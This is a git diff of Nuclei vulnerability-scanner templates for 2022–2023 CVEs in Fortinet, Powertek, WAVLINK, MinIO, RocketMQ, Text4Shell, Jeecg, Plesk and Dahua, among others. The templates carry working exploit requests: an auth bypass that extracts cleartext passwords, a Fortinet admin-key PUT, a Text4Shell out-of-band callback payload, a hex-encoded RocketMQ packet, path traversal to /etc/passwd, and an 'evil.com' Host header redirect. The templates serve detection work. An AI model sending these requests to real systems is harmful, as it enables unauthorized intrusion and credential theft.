0000000000..6bd02c9441 --- /dev/null +++ b/nuclei-templates/CVE-2022/cve-2022-33174.yaml @@ -0,0 +1,60 @@ +id: CVE-2022-33174 + +info: + name: Powertek Firmware <3.30.30 - Authorization Bypass + author: pikpikcu + severity: high + description: | + Powertek firmware (multiple brands) before 3.30.30 running Power Distribution Units are vulnerable to authorization bypass in the web interface. To exploit the vulnerability, an attacker must send an HTTP packet to the data retrieval interface (/cgi/get_param.cgi) with the tmpToken cookie set to an empty string followed by a semicolon. This bypasses an active session authorization check. This can be then used to fetch the values of protected sys.passwd and sys.su.name fields that contain the username and password in cleartext. + impact: | + An attacker can bypass authentication and gain unauthorized access to the Powertek Firmware, potentially leading to further compromise of the system. + remediation: | + Upgrade the Powertek Firmware to version 3.30.30 or higher to mitigate the vulnerability. + reference: + - https://gynvael.coldwind.pl/?lang=en&id=748 + - https://nvd.nist.gov/vuln/detail/CVE-2022-33174 + - https://github.com/Henry4E36/CVE-2022-33174 + - https://github.com/k0mi-tg/CVE-POC + - https://github.com/nomi-sec/PoC-in-GitHub + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2022-33174 + cwe-id: CWE-863 + epss-score: 0.01241 + epss-percentile: 0.85189 + cpe: cpe:2.3:o:powertekpdus:basic_pdu_firmware:*:*:*:*:*:*:*:* + metadata: + verified: true + max-request: 1 + vendor: powertekpdus + product: basic_pdu_firmware + shodan-query: http.html:"Powertek" + tags: cve2022,cve,powertek,auth-bypass,powertekpdus + +http: + - raw: + - | + GET /cgi/get_param.cgi?xml&sys.passwd&sys.su.name HTTP/1.1 + Host: {{Hostname}} + Cookie: tmpToken=; + + matchers-condition: and + matchers: + - type: word + words: + - '<sys.passwd>' + - '<sys.su.name>' + + - type: status + status: + - 200 + + extractors: + - type: regex + group: 1 + regex: + - '<sys\.passwd>([A-Z0-9a-z]+)<\/sys\.passwd>' + - '<sys\.su\.name>([a-z]+)<\/sys\.su\.name>' + part: body +# digest: 490a0046304402205f3721d4d1cc1bd01d55480d74005f566999d1eb1f7aef883abe68afa60e1d4102202cd3dede0c67c2903cde37b3f54d432dcbb537f4bfb2e29d4ee779cac0609d99:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-34046.yaml b/nuclei-templates/CVE-2022/cve-2022-34046.yaml deleted file mode 100644 index b1060a2f78..0000000000 --- a/nuclei-templates/CVE-2022/cve-2022-34046.yaml +++ /dev/null @@ -1,58 +0,0 @@ -id: CVE-2022-34046 - -info: - name: WAVLINK WN533A8 - Improper Access Control - author: For3stCo1d - severity: high - description: | - WAVLINK WN533A8 M33A8.V5030.190716 is susceptible to improper access control. An attacker can obtain usernames and passwords via view-source:http://IP_ADDRESS/sysinit.shtml?r=52300 and searching for [logincheck(user);] and thereby possibly obtain sensitive information, modify data, and/or execute unauthorized operations. - impact: | - An attacker can exploit this vulnerability to gain unauthorized access to the router's settings and potentially compromise the entire network. - remediation: | - Apply the latest firmware update provided by the vendor to fix the access control issue. - reference: - - https://drive.google.com/file/d/18ECQEqZ296LDzZ0wErgqnNfen1jCn0mG/view?usp=sharing - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-34046 - - http://packetstormsecurity.com/files/167890/Wavlink-WN533A8-Password-Disclosure.html - - https://nvd.nist.gov/vuln/detail/CVE-2022-34046 - - https://github.com/ARPSyndicate/cvemon - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2022-34046 - cwe-id: CWE-863 - epss-score: 0.14292 - epss-percentile: 0.95577 - cpe: cpe:2.3:o:wavlink:wn533a8_firmware:m33a8.v5030.190716:*:*:*:*:*:*:* - metadata: - verified: true - max-request: 1 - vendor: wavlink - product: wn533a8_firmware - shodan-query: http.title:"Wi-Fi APP Login" - tags: cve,cve2022,packetstorm,wavlink,router,exposure - -http: - - raw: - - | - GET /sysinit.shtml?r=52300 HTTP/1.1 - Host: {{Hostname}} - - matchers-condition: and - matchers: - - type: word - part: body - words: - - 'var syspasswd="' - - '<title>APP' - condition: and - - - type: status - status: - - 200 - - extractors: - - type: regex - regex: - - 'syspasswd="(.+?)"' -# digest: 4a0a004730450220012d32e7af94355d9d79d3210f97d2bdf114e7d81c8a425f14611b6898afdcb2022100d2e6dd7fe5b5f462e9bccc0179f3417fa34f94d1006498add8171cba0ec4af4c:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-34047.yaml b/nuclei-templates/CVE-2022/cve-2022-34047.yaml deleted file mode 100644 index 954b71dae4..0000000000 --- a/nuclei-templates/CVE-2022/cve-2022-34047.yaml +++ /dev/null @@ -1,58 +0,0 @@ -id: CVE-2022-34047 - -info: - name: WAVLINK WN530HG4 - Improper Access Control - author: For3stCo1d - severity: high - description: | - WAVLINK WN530HG4 M30HG4.V5030.191116 is susceptible to improper access control. An attacker can obtain usernames and passwords via view-source:http://IP_ADDRESS/set_safety.shtml?r=52300 and searching for [var syspasswd] and thereby possibly obtain sensitive information, modify data, and/or execute unauthorized operations. - impact: | - An attacker can exploit this vulnerability to gain unauthorized access to the router's settings and potentially compromise the network. - remediation: | - Apply the latest firmware update provided by the vendor to fix the access control issue. - reference: - - https://drive.google.com/file/d/1sTQdUc12aZvJRFeb5wp8AfPdUEkkU9Sy/view?usp=sharing - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-34047 - - http://packetstormsecurity.com/files/167891/Wavlink-WN530HG4-Password-Disclosure.html - - https://nvd.nist.gov/vuln/detail/CVE-2022-34047 - - https://github.com/ARPSyndicate/cvemon - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2022-34047 - cwe-id: CWE-668 - epss-score: 0.14292 - epss-percentile: 0.95577 - cpe: cpe:2.3:o:wavlink:wl-wn530hg4_firmware:m30hg4.v5030.191116:*:*:*:*:*:*:* - metadata: - verified: true - max-request: 1 - vendor: wavlink - product: wl-wn530hg4_firmware - shodan-query: http.title:"Wi-Fi APP Login" - tags: cve,cve2022,wavlink,router,exposure,packetstorm - -http: - - raw: - - | - GET /set_safety.shtml?r=52300 HTTP/1.1 - Host: {{Hostname}} - - matchers-condition: and - matchers: - - type: word - part: body - words: - - 'var syspasswd="' - - 'APP' - condition: and - - - type: status - status: - - 200 - - extractors: - - type: regex - regex: - - 'syspasswd="(.+?)"' -# digest: 4b0a004830460221009d579af2f6d3d5044fff3d3ba8ae41ae23b08238a57030a5aca5ce2e072c848f02210096fb879980b385c7240a0b97b5ed0b21d8a2e4ab835977407c3e156daaece404:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-35416.yaml b/nuclei-templates/CVE-2022/cve-2022-35416.yaml new file mode 100644 index 0000000000..0db605cff6 --- /dev/null +++ b/nuclei-templates/CVE-2022/cve-2022-35416.yaml @@ -0,0 +1,57 @@ +id: CVE-2022-35416 + +info: + name: H3C SSL VPN <=2022-07-10 - Cross-Site Scripting + author: 0x240x23elu + severity: medium + description: | + H3C SSL VPN 2022-07-10 and prior contains a cookie-based cross-site scripting vulnerability in wnm/login/login.json svpnlang. + impact: | + Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, data theft, or other malicious activities. + remediation: | + Apply the latest security patch or upgrade to a version of H3C SSL VPN that is not affected by this vulnerability. + reference: + - https://github.com/advisories/GHSA-9x76-78gc-r3m9 + - https://github.com/Docker-droid/H3C_SSL_VPN_XSS + - https://nvd.nist.gov/vuln/detail/CVE-2022-35416 + - https://github.com/ARPSyndicate/kenzer-templates + - https://github.com/bughunter0xff/recon-scanner + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2022-35416 + cwe-id: CWE-79 + epss-score: 0.00088 + epss-percentile: 0.36353 + cpe: cpe:2.3:a:h3c:ssl_vpn:*:*:*:*:*:*:*:* + metadata: + verified: true + max-request: 1 + vendor: h3c + product: ssl_vpn + shodan-query: http.html_hash:510586239 + tags: cve,cve2022,xss,vpn,h3c + +http: + - raw: + - | + GET /wnm/login/login.json HTTP/1.1 + Host: {{Hostname}} + Cookie: svpnlang= + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "" + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 +# digest: 4a0a00473045022074bce49d1d622adb10be0856ef209bacb28fb427de7f38f426069ca664b036d9022100b2466c1b44507b4b58e6f7e6ee4ab7221f9307198493e54f23ca95f1fcfc9e73:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-40684.yaml b/nuclei-templates/CVE-2022/cve-2022-40684.yaml new file mode 100644 index 0000000000..e8e301003a --- /dev/null +++ b/nuclei-templates/CVE-2022/cve-2022-40684.yaml @@ -0,0 +1,70 @@ +id: CVE-2022-40684 + +info: + name: Fortinet - Authentication Bypass + author: Shockwave,nagli,carlosvieira + severity: critical + description: | + Fortinet contains an authentication bypass vulnerability via using an alternate path or channel in FortiOS 7.2.0 through 7.2.1 and 7.0.0 through 7.0.6, FortiProxy 7.2.0 and 7.0.0 through 7.0.6, and FortiSwitchManager 7.2.0 and 7.0.0. An attacker can perform operations on the administrative interface via specially crafted HTTP or HTTPS requests, thus making it possible to obtain sensitive information, modify data, and/or execute unauthorized operations. + impact: | + Successful exploitation of this vulnerability allows an attacker to bypass authentication and gain unauthorized access to the affected device. + remediation: | + Apply the necessary security patches or firmware updates provided by Fortinet to mitigate this vulnerability. + reference: + - https://github.com/horizon3ai/CVE-2022-40684/blob/master/CVE-2022-40684.py + - https://securityonline.info/researchers-have-developed-cve-2022-40684-poc-exploit-code/ + - https://socradar.io/what-do-you-need-to-know-about-fortinet-critical-authentication-bypass-vulnerability-cve-2022-40684/ + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-40684 + - https://nvd.nist.gov/vuln/detail/CVE-2022-40684 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2022-40684 + cwe-id: CWE-287 + epss-score: 0.97217 + epss-percentile: 0.99817 + cpe: cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:* + metadata: + max-request: 2 + vendor: fortinet + product: fortiproxy + tags: cve,cve2022,fortinet,fortigate,fortios,fortiproxy,auth-bypass,kev,intrusive + +http: + - raw: + - | + GET /api/v2/cmdb/system/admin HTTP/1.1 + Host: {{Hostname}} + User-Agent: Node.js + Forwarded: by="[127.0.0.1]:1337";for="[127.0.0.1]:1337";proto=http;host= + X-Forwarded-Vdom: root + - | + PUT /api/v2/cmdb/system/admin/admin HTTP/1.1 + Host: {{Hostname}} + User-Agent: Report Runner + Content-Type: application/json + Forwarded: for=[127.0.0.1]:8000;by=[127.0.0.1]:9000; + Content-Length: 610 + + { + "ssh-public-key1":"{{randstr}}" + } + + stop-at-first-match: true + + matchers-condition: or + matchers: + - type: word + part: body_1 + words: + - ENC XXXX + - http_method + condition: and + + - type: word + part: body_2 + words: + - Invalid SSH public key. + - cli_error + condition: and +# digest: 4a0a00473045022100ecd342ecd1ddb863f225cc6136e9bc2bee1dd54adfdfe4bd199aae259088ce9902204ae159dde8793d19d05e1809870cd28bb6da2e7a9ce835bdb59a391acfd4000e:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-42889.yaml b/nuclei-templates/CVE-2022/cve-2022-42889.yaml deleted file mode 100644 index 0e37bfb162..0000000000 --- a/nuclei-templates/CVE-2022/cve-2022-42889.yaml +++ /dev/null @@ -1,68 +0,0 @@ -id: CVE-2022-42889 - -info: - name: Text4Shell - Remote Code Execution - author: mordavid,princechaddha - severity: critical - description: | - Apache Commons Text performs variable interpolation, allowing properties to be dynamically evaluated and expanded. The standard format for interpolation is "${prefix:name}", where "prefix" is used to locate an instance of org.apache.commons.text.lookup.StringLookup that performs the interpolation. Starting with version 1.5 and continuing through 1.9, the set of default Lookup instances included interpolators that could result in arbitrary code execution or contact with remote servers. These lookups are: - "script" - execute expressions using the JVM script execution engine (javax.script) - "dns" - resolve dns records - "url" - load values from urls, including from remote servers Applications using the interpolation defaults in the affected versions may be vulnerable to remote code execution or unintentional contact with remote servers if untrusted configuration values are used. Users are recommended to upgrade to Apache Commons Text 1.10.0, which disables the problematic interpolators by default. - reference: - - https://lists.apache.org/thread/n2bd4vdsgkqh2tm14l1wyc3jyol7s1om - - http://www.openwall.com/lists/oss-security/2022/10/13/4 - - http://www.openwall.com/lists/oss-security/2022/10/18/1 - - https://securitylab.github.com/advisories/GHSL-2022-018_Apache_Commons_Text/ - - https://github.com/silentsignal/burp-text4shell - remediation: Upgrade to Apache Commons Text component between 1.5.0 to 1.10.0. - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2022-42889 - cwe-id: CWE-94 - metadata: - confidence: tenative - tags: cve,cve2022,rce,oast,text4shell,dast - -http: - - pre-condition: - - type: dsl - dsl: - - 'method == "GET"' - - payloads: - text4shell: - - "${url:UTF-8:https://{{Hostname}}.q.{{interactsh-url}}}" - - fuzzing: - - part: query - fuzz: - - "{{text4shell}}" - - matchers-condition: and - matchers: - - type: word - part: interactsh_protocol # Confirms the DNS Interaction - words: - - "dns" - - - type: regex - part: interactsh_request - regex: - - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${hostName} in output - - extractors: - - type: kval - kval: - - interactsh_ip # Print remote interaction IP in output - - - type: regex - part: interactsh_request - group: 2 - regex: - - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print injection point in output - - - type: regex - part: interactsh_request - group: 1 - regex: - - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${hostName} in output -# digest: 4a0a00473045022100adec8de25b518a2bc2dec461a62f19c384ddac2951bd98b9ec21df05061c84d9022013f544b276c203c4846921eddf8c0be1a997fd68f5d3c8b8ff71f02873788aed:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2023/CVE-2023-24044.yaml b/nuclei-templates/CVE-2023/CVE-2023-24044.yaml deleted file mode 100644 index 0a2696716b..0000000000 --- a/nuclei-templates/CVE-2023/CVE-2023-24044.yaml +++ /dev/null @@ -1,42 +0,0 @@ -id: CVE-2023-24044 - -info: - name: Plesk Obsidian - Host Header Injection - author: pikpikcu - severity: medium - description: | - A Host Header Injection issue on the Login page of Plesk Obsidian through 18.0.49 allows attackers to redirect users to malicious websites via a Host request header. - reference: - - https://nvd.nist.gov/vuln/detail/CVE-2023-24044 - - https://portswigger.net/web-security/host-header/exploiting - - https://medium.com/@jetnipat.tho/cve-2023-24044-10e48ab940d8 - - https://gist.github.com/TJetnipat/02b3854543b7ec95d54a8de811f2e8ae - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2023-24044 - cwe-id: CWE-601 - metadata: - fofa-query: title="Plesk Obsidian" - shodan-query: title:"Plesk Obsidian" - verified: "true" - tags: cve,cve2023,header,injection,plesk,obsidian - -requests: - - method: GET - path: - - "{{BaseURL}}/login.php" - - headers: - Host: "evil.com" - - matchers-condition: and - matchers: - - type: word - part: location - words: - - 'https://evil.com/login_up.php' - - - type: status - status: - - 303 diff --git a/nuclei-templates/CVE-2023/CVE-2023-28432.yaml b/nuclei-templates/CVE-2023/CVE-2023-28432.yaml index aba88864c4..19839d49a6 100644 --- a/nuclei-templates/CVE-2023/CVE-2023-28432.yaml +++ b/nuclei-templates/CVE-2023/CVE-2023-28432.yaml @@ -1,21 +1,38 @@ id: CVE-2023-28432 + info: - name: Minio post policy request security bypass + name: MinIO Cluster Deployment - Information Disclosure author: Mr-xn severity: high - description: Minio is a Multi-Cloud Object Storage framework. In a cluster deployment starting with RELEASE.2019-12-17T23-16-33Z and prior to RELEASE.2023-03-20T20-16-18Z, MinIO returns all environment variables, including MINIO_SECRET_KEY and MINIO_ROOT_PASSWORD, resulting in information disclosure. All users of distributed deployment are impacted. All users are advised to upgrade to RELEASE.2023-03-20T20-16-18Z. + description: | + MinIO is susceptible to information disclosure. In a cluster deployment starting with RELEASE.2019-12-17T23-16-33Z and prior to RELEASE.2023-03-20T20-16-18Z, MinIO returns all environment variables, including MINIO_SECRET_KEY and MINIO_ROOT_PASSWORD. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized operations without entering necessary credentials. All users of distributed deployment are impacted. + impact: | + An attacker can gain unauthorized access to sensitive information stored in the MinIO cluster. + remediation: All users are advised to upgrade to RELEASE.2023-03-20T20-16-18Z. reference: - https://github.com/minio/minio/security/advisories/GHSA-6xvq-wj2x-3h3q - https://github.com/minio/minio/pull/16853/files - https://github.com/golang/vulndb/issues/1667 - https://github.com/CVEProject/cvelist/blob/master/2023/28xxx/CVE-2023-28432.json + - https://nvd.nist.gov/vuln/detail/CVE-2023-28432 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2023-28432 - cwe-id: CWE-200 - tags: cve,cve2023, -requests: + cwe-id: CWE-200,NVD-CWE-noinfo + epss-score: 0.14173 + epss-percentile: 0.95219 + cpe: cpe:2.3:a:minio:minio:*:*:*:*:*:*:*:* + metadata: + verified: true + max-request: 1 + vendor: minio + product: minio + shodan-query: title:"Minio Console" + fofa-query: app="Minio" + tags: cve,cve2023,minio,console,exposure,kev + +http: - raw: - |+ POST /minio/bootstrap/v1/verify HTTP/1.1 @@ -27,11 +44,17 @@ requests: - type: word part: body words: - - '"MinioEndpoints"' + - '"MINIO_ROOT_PASSWORD":' + - '"MINIO_ROOT_USER":' + - '"MinioEnv":' + condition: or + - type: word part: header words: - - 'Content-Type: text/plain' + - 'text/plain' + - type: status status: - 200 +# digest: 4a0a00473045022100cc34538c0cf40fb3489d8f091c41bcf45f66c43266a4c6a2136aef40acbe67b702200d93d6082e5e272bc01f1e8222ec9521c32be40f912837b32aa6c0e6dcd75a2f:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2023/CVE-2023-33246.yaml b/nuclei-templates/CVE-2023/CVE-2023-33246.yaml new file mode 100644 index 0000000000..88f8dd6ef4 --- /dev/null +++ b/nuclei-templates/CVE-2023/CVE-2023-33246.yaml @@ -0,0 +1,23 @@ +id: CVE-2023-33246 + +info: + name: RocketMQ Broker - Remote Code Execution + author: unknown + severity: critical + description: For RocketMQ versions 5.1.0 and below, under certain conditions, there is a risk of remote command execution. + reference: https://github.com/Le1a/CVE-2023-33246 + +tcp: + - inputs: + - data: "{{hex_decode('000000c7000000c37b22636f6465223a3130352c226578744669656c6473223a7b225369676e6174757265223a222f7535502f775a5562686a616e75344c4d2f557a45646f327532493d222c22746f706963223a22544257313032222c224163636573734b6579223a22726f636b65746d7132227d2c22666c6167223a302c226c616e6775616765223a224a415641222c226f7061717565223a312c2273657269616c697a655479706543757272656e74525043223a224a534f4e222c2276657273696f6e223a3433337d')}}" + host: + - "{{Hostname}}" + matchers: + - type: regex + regex: + #"434" "V5_1_0" + - '"version":(0|[1-9]d{0,2}|4[0-2]d|43[0-4])' + extractors: + - type: regex + regex: + - '"brokerAddrs":.*?\}' \ No newline at end of file diff --git a/nuclei-templates/CVE-2023/CVE-2023-33510.yaml b/nuclei-templates/CVE-2023/CVE-2023-33510.yaml new file mode 100644 index 0000000000..cd7f863611 --- /dev/null +++ b/nuclei-templates/CVE-2023/CVE-2023-33510.yaml @@ -0,0 +1,50 @@ +id: CVE-2023-33510 + +info: + name: Jeecg P3 Biz Chat - Local File Inclusion + author: DhiyaneshDK + severity: high + description: | + Jeecg P3 Biz Chat 1.0.5 allows remote attackers to read arbitrary files through specific parameters. + impact: | + Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire system. + remediation: | + Apply the latest patch or update provided by the vendor to fix the LFI vulnerability in Jeecg P3 Biz Chat. + reference: + - https://twitter.com/momika233/status/1670701256535572481 + - https://carl1l.github.io/2023/05/08/jeecg-p3-biz-chat-1-0-5-jar-has-arbitrary-file-read-vulnerability/ + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-33510 + - https://github.com/izj007/wechat + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2023-33510 + cwe-id: CWE-668 + epss-score: 0.00347 + epss-percentile: 0.6879 + cpe: cpe:2.3:a:jeecg_p3_biz_chat_project:jeecg_p3_biz_chat:1.0.5:*:*:*:*:wordpress:*:* + metadata: + verified: "true" + max-request: 1 + vendor: jeecg_p3_biz_chat_project + product: jeecg_p3_biz_chat + framework: wordpress + shodan-query: http.favicon.hash:1380908726 + tags: cve2023,cve,jeecg,lfi,jeecg_p3_biz_chat_project,wordpress + +http: + - method: GET + path: + - "{{BaseURL}}/chat/imController/showOrDownByurl.do?dbPath=../../../../../../etc/passwd" + + matchers-condition: and + matchers: + - type: regex + part: body + regex: + - "root:.*:0:0:" + + - type: status + status: + - 200 +# digest: 4b0a004830460221009e162dbb1787d5c8b032abe3bf70bb51a039c53b2df9c8e71d5971b297d962bb0221009b98beb3b2add0df90bddc57c9ed57f15adc1f361360d012658f5c9e2265d724:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2023/CVE-2023-34020.yaml b/nuclei-templates/CVE-2023/CVE-2023-34020.yaml new file mode 100644 index 0000000000..823a82a3bb --- /dev/null +++ b/nuclei-templates/CVE-2023/CVE-2023-34020.yaml @@ -0,0 +1,28 @@ +id: CVE-2023-34020 + +info: + name: Uncanny Toolkit for LearnDash - Open Redirection + author: LeDoubleTake + severity: low + description: | + A vulnerability in the WordPress Uncanny Toolkit for LearnDash Plugin allowed malicious actors to redirect users, posing a potential risk of phishing incidents. The issue has been resolved in version 3.6.4.4, and users are urged to update for security. + reference: + - https://patchstack.com/database/vulnerability/uncanny-learndash-toolkit/wordpress-uncanny-toolkit-for-learndash-plugin-3-6-4-3-open-redirection-vulnerability + - https://wordpress.org/plugins/uncanny-learndash-toolkit/ + metadata: + verified: true + max-request: 1 + publicwww-query: "/wp-content/plugins/uncanny-learndash-toolkit/" + tags: cve2023,cve,wordpress,uncanny-learndash-toolkit,wpscan,redirect + +http: + - method: GET + path: + - "{{BaseURL}}/?rest_route=/ult/v2/review-banner-visibility&action=maybe-later&redirect=yes&redirect_url=https://interact.sh" + + matchers: + - type: regex + part: header + regex: + - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' +# digest: 4a0a00473045022100863feeb025ff903aec139893d251ec1fb6d2afd5b5817e69dba4be2f8939696902201d851c543d8c5013957bc626be07c2d192201385d1a8f3ab7505696dc02b13e5:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2023/CVE-2023-3836.yaml b/nuclei-templates/CVE-2023/CVE-2023-3836.yaml deleted file mode 100644 index 15102a7d50..0000000000 --- a/nuclei-templates/CVE-2023/CVE-2023-3836.yaml +++ /dev/null @@ -1,69 +0,0 @@ -id: CVE-2023-3836 - -info: - name: Dahua Smart Park Management - Arbitrary File Upload - author: HuTa0 - severity: critical - description: | - Dahua wisdom park integrated management platform is a comprehensive management platform, a park operations,resource allocation, and intelligence services,and other functions, including/emap/devicePoint_addImgIco?. - remediation: | - Apply the latest security patch or update provided by the vendor to fix the arbitrary file upload vulnerability. - reference: - - https://github.com/qiuhuihk/cve/blob/main/upload.md - - https://nvd.nist.gov/vuln/detail/CVE-2023-3836 - - https://vuldb.com/?ctiid.235162 - - https://vuldb.com/?id.235162 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2023-3836 - cwe-id: CWE-434 - epss-score: 0.03083 - epss-percentile: 0.8996 - cpe: cpe:2.3:a:dahuasecurity:smart_parking_management:*:*:*:*:*:*:*:* - metadata: - verified: true - max-request: 2 - vendor: dahuasecurity - product: smart_parking_management - shodan-query: html:"/WPMS/asset" - zoomeye-query: /WPMS/asset - tags: cve,cve2023,dahua,fileupload,intrusive,rce -variables: - random_str: "{{rand_base(6)}}" - match_str: "{{md5(random_str)}}" - -http: - - raw: - - | - POST /emap/devicePoint_addImgIco?hasSubsystem=true HTTP/1.1 - Content-Type: multipart/form-data; boundary=A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT - Host: {{Hostname}} - - --A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT - Content-Disposition: form-data; name="upload"; filename="{{random_str}}.jsp" - Content-Type: application/octet-stream - Content-Transfer-Encoding: binary - - {{match_str}} - --A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT-- - - | - GET /upload/emap/society_new/{{shell_filename}} HTTP/1.1 - Host: {{Hostname}} - - matchers: - - type: dsl - dsl: - - "status_code_1 == 200 && status_code_2 == 200" - - "contains(body_2, '{{match_str}}')" - condition: and - - extractors: - - type: regex - name: shell_filename - internal: true - part: body_1 - regex: - - 'ico_res_(\w+)_on\.jsp' - -# digest: 490a004630440220513bc76e8fde9982cfc588703d87e942603b15129e6d1906581bc35025ca7b3302203f4fa642d000d9b4736b3ac12bff77ec4b02cc55b50fa42350a2ce552d65b6e4:922c64590222798bb761d5b6d8e72950 diff --git a/nuclei-templates/CVE-2023/CVE-2023-40068.yaml b/nuclei-templates/CVE-2023/CVE-2023-40068.yaml deleted file mode 100644 index d52e6fcca5..0000000000 --- a/nuclei-templates/CVE-2023/CVE-2023-40068.yaml +++ /dev/null @@ -1,58 +0,0 @@ -id: CVE-2023-40068 - -info: - name: > - Advanced Custom Fields 6.1 - 6.1.7 - Authenticated (Administrator+) Stored Cross-Site Scripting - author: topscoder - severity: medium - description: > - The Advanced Custom Fields plugin for WordPress is vulnerable to Stored Cross-Site Scripting via ACF post type and taxonomy labels in versions 6.1 to 6.1.7 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled. - reference: - - https://www.wordfence.com/threat-intel/vulnerabilities/id/f412bdb0-953d-4375-85c2-b87f3aa77d60?source=api-prod - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N - cvss-score: 4.4 - cve-id: CVE-2023-40068 - metadata: - fofa-query: "wp-content/plugins/advanced-custom-fields/" - google-query: inurl:"/wp-content/plugins/advanced-custom-fields/" - shodan-query: 'vuln:CVE-2023-40068' - tags: cve,wordpress,wp-plugin,advanced-custom-fields,medium - -http: - - method: GET - redirects: true - max-redirects: 3 - path: - - "{{BaseURL}}/wp-content/plugins/advanced-custom-fields/readme.txt" - - extractors: - - type: regex - name: version - part: body - group: 1 - internal: true - regex: - - "(?mi)Stable tag: ([0-9.]+)" - - - type: regex - name: version - part: body - group: 1 - regex: - - "(?mi)Stable tag: ([0-9.]+)" - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - words: - - "advanced-custom-fields" - part: body - - - type: dsl - dsl: - - compare_versions(version, '>= 6.1', '<= 6.1.7') \ No newline at end of file diff --git "a/nuclei-templates/CVE-2023/CVE-2023\342\200\22324044.yaml" "b/nuclei-templates/CVE-2023/CVE-2023\342\200\22324044.yaml" new file mode 100644 index 0000000000..5661dadb7d --- /dev/null +++ "b/nuclei-templates/CVE-2023/CVE-2023\342\200\22324044.yaml" @@ -0,0 +1,54 @@ +id: CVE-2023-24044 + +info: + name: Plesk Obsidian <=18.0.49 - Open Redirect + author: pikpikcu + severity: medium + description: | + Plesk Obsidian through 18.0.49 contains an open redirect vulnerability via the login page. An attacker can redirect users to malicious websites via a host request header and thereby access user credentials and execute unauthorized operations. NOTE: The vendor's position is "the ability to use arbitrary domain names to access the panel is an intended feature." + impact: | + Successful exploitation of this vulnerability could allow an attacker to redirect users to malicious websites, leading to phishing attacks or the theft of sensitive information. + remediation: | + Upgrade Plesk Obsidian to a version higher than 18.0.49 to mitigate the vulnerability. + reference: + - https://portswigger.net/web-security/host-header/exploiting + - https://medium.com/@jetnipat.tho/cve-2023-24044-10e48ab940d8 + - https://gist.github.com/TJetnipat/02b3854543b7ec95d54a8de811f2e8ae + - https://nvd.nist.gov/vuln/detail/CVE-2023-24044 + - https://support.plesk.com/hc/en-us/articles/10254625170322-Vulnerability-CVE-2023-24044 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2023-24044 + cwe-id: CWE-601 + epss-score: 0.00155 + epss-percentile: 0.51774 + cpe: cpe:2.3:a:plesk:obsidian:*:*:*:*:*:*:*:* + metadata: + verified: true + max-request: 1 + 